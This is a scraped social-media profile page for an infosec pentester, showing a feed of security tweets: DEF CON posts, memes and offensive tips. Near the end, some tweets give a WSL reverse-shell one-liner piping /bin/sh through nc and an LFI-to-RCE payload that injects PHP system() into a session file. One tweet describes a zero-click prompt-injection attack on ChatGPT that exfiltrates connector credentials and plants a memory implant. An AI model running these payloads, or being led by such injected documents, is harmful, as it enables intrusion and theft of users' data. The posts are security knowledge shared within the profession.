Rafa @misusage_

𝔰𝔞𝔤𝔢 | Infosec Pentester | OSCP | @wrccdc BlackTeam/RedTeam | Computer Stuff, Car Stuff, and Random Stuff succurity.com California, USA Joined July 2012

Tweets

504
Followers

264
Following

828
Likes

2K

Sainath D. @sainathdushatti

2 months ago

Perfect

23 196 2K 72K 532

Download Image

Rafa @misusage_

2 months ago

DC33 in the books! See you next year #DEFCON #DEFCON33

0 1 2 144 0

Download Image

we got a persistent 0click on ChatGPT by sharing a doc that allowed us to exfiltrate sensitive data and creds from your connectors (google drive, sharepoint, ..) + chat history + future conversations it gets worse. we deploy a memory implant #DEFCON #BHUSA @tamirishaysh

21 196 822 78K 577

Download Video

D3fufu @d3fufu

2 months ago

Are you ready for today's drop? Because we are. Every fufu bag includes: 1x Colored SAO 1x Colored Badge Board 1x Lanyard Stickers Some Assembly Required Blind Bag (Random Color) - $60 Chaos Pack (Mixed SAO/Badge Colors) - $80 Complete Sets (All 7 fufus) - $500

6 2 11 511 1

Download Image

Everything Out Of Context @EverythingOOC

4 months ago

They met

904 20K 361K 14.6M 19K

Download Image

Ru Campbell @rucam365

6 months ago

How it feels watching cybersecurity vendors demoing their GenAI product.

13 75 603 51K 94

Download Video

Binni Shah @binitamshah

a year ago

Pwning a Brother labelmaker, for fun and interop! : sdomi.pl/weblog/20-pwni… Brother VC-500W RCE PoC (and other cool scripts) : git.sakamoto.pl/domi/zinkpwn

0 28 132 10K 49

Download Image

Security Trybe @SecurityTrybe

a year ago

Windows Directories for SOC Analysts

0 226 1K 142K 917

Download Image

Rafa @misusage_

a year ago

Skiirrrt

1 0 3 73 0

Download Image

spencer @techspence

a year ago

I'm gonna start calling this THE FABULOUS FOUR! 😂

10 133 1K 125K 1K

Download Image

Kevin2600 @Kevin2600

2 years ago

Every thing with wheels are hackable 😂

7 46 394 42K 116

Download Image

Ben Sadeghipour @NahamSec

2 years ago

Anyone else get an Apple TV request at @defcon?

26 64 474 126K 49

Download Video

Ironwood Cyber @IronwoodCyber

2 years ago

Howdy hackers, are you ready for another chance to score an IWC Mark II Badge before @defcon? Just follow @IronwoodCyber and retweet this tweet. We'll pick a winner daily, plus a few extra on the last day 8/2 😉 Winners will be contacted via DM! #defcon #dc31 #badgelife

35 218 112 26K 3

Download Video

Luke Stephens (hakluke) @hakluke

2 years ago

Did you know you can use netcat as a quick and dirty port scanner? 😼 Options: 🚀 z is used for scanning. 🚀 v to add verbosity. 🚀 w 1 is used to set the timeout for each connection to 1 second. 🚀 1-10000 defines which ports to scan. #bash101 #netcat #hacking

2 99 338 30K 158

Download Video

LetsDefend @LetsDefendIO

2 years ago

Important Windows directories for SOC Analysts

7 561 2K 167K 1K

Download Image

Programmer Humor @PR0GRAMMERHUM0R

3 years ago

PHP is Frankenstein reddit.com/r/programmerhu…

103 595 4K 335K 124

Download Image

Trackflaw @trackflaw

3 years ago

When the internal pentest is too difficult, a small appointment can do the trick 👀 #CVE-2023-23397

5 42 142 17K 40

Download Gif

Alh4zr3d @Alh4zr3d

3 years ago

Red Teamers: Windows Subsystem for Linux (WSL) is more and more common, especially on dev workstations. Don't neglect it! WSL rev shell: wsl.exe mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc <IP> <PORT> 1>/tmp/backpipe Can also access the Windows filesystem! #redteam

14 117 440 26K 120

Alh4zr3d @Alh4zr3d

3 years ago

Red Teamers: web app tip for you. Lots of ways to get RCE through an LFI; often forgotten is PHP session files: Session as user w/ bad name: user=<?php system("id");?>&pass=p&lang=en_us.php Session file w/ LFI: user=admin&pass=p&lang=/../../.var/lib/php5/sess_<id> #hacking